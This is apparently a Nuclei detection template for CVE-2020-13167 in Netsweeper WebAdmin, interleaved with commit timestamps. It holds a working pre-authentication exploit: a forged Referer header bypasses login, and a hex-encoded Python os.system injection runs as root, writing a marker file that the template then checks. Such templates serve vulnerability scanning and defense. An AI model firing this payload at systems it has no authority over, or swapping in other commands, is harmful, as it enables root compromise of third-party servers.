2020-09-15 19:25:55 +00:00
id : cve-2020-13167
2020-07-07 19:26:15 +00:00
info :
name : Netsweeper WebAdmin unixlogin.php Python Code Injection
author : dwisiswant0
severity : critical
2020-08-25 22:52:00 +00:00
description : Netsweeper through 6.4.3 allows unauthenticated remote code execution because webadmin/tools/unixlogin.php (with certain Referer headers) launches a command line with client-supplied parameters, and allows injection of shell metacharacters.
2020-07-07 19:26:15 +00:00
# This template exploits a Python code injection in the Netsweeper
# WebAdmin component's unixlogin.php script, for versions 6.4.4 and
# prior, to execute code as the root user.
2020-07-07 19:55:24 +00:00
2020-07-07 19:26:15 +00:00
# Authentication is bypassed by sending a random whitelisted Referer
# header in each request.
2020-07-07 19:55:24 +00:00
2020-07-07 19:26:15 +00:00
# Tested on the CentOS Linux-based Netsweeper 6.4.3 and 6.4.4 ISOs.
# Though the advisory lists 6.4.3 and prior as vulnerable, 6.4.4 has
# been confirmed exploitable.
2020-07-07 19:55:24 +00:00
2020-07-07 19:26:15 +00:00
# References:
# - https://ssd-disclosure.com/ssd-advisory-netsweeper-preauth-rce/
# - https://portswigger.net/daily-swig/severe-rce-vulnerability-in-content-filtering-system-has-been-patched-netsweeper-says
requests :
- method : GET
path :
2020-07-08 20:02:14 +00:00
# Payload on hex: echo "bm9uZXhpc3RlbnQ=" | base64 -d > /usr/local/netsweeper/webadmin/out
- "{{BaseURL}}/webadmin/tools/unixlogin.php?login=admin&password=g%27%2C%27%27%29%3Bimport%20os%3Bos.system%28%276563686f2022626d39755a5868706333526c626e513d22207c20626173653634202d64203e202f7573722f6c6f63616c2f6e6574737765657065722f77656261646d696e2f6f7574%27.decode%28%27hex%27%29%29%23&timeout=5"
- "{{BaseURL}}/webadmin/out"
2020-07-07 19:26:15 +00:00
headers :
Referer : "http://{{Hostname}}/webadmin/admin/service_manager_data.php"
User-Agent : "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)"
Connection : "close"
matchers-condition : and
matchers :
- type : word
words :
- "nonexistent"
part : body
- type : status
status :
2020-08-25 22:52:00 +00:00
- 200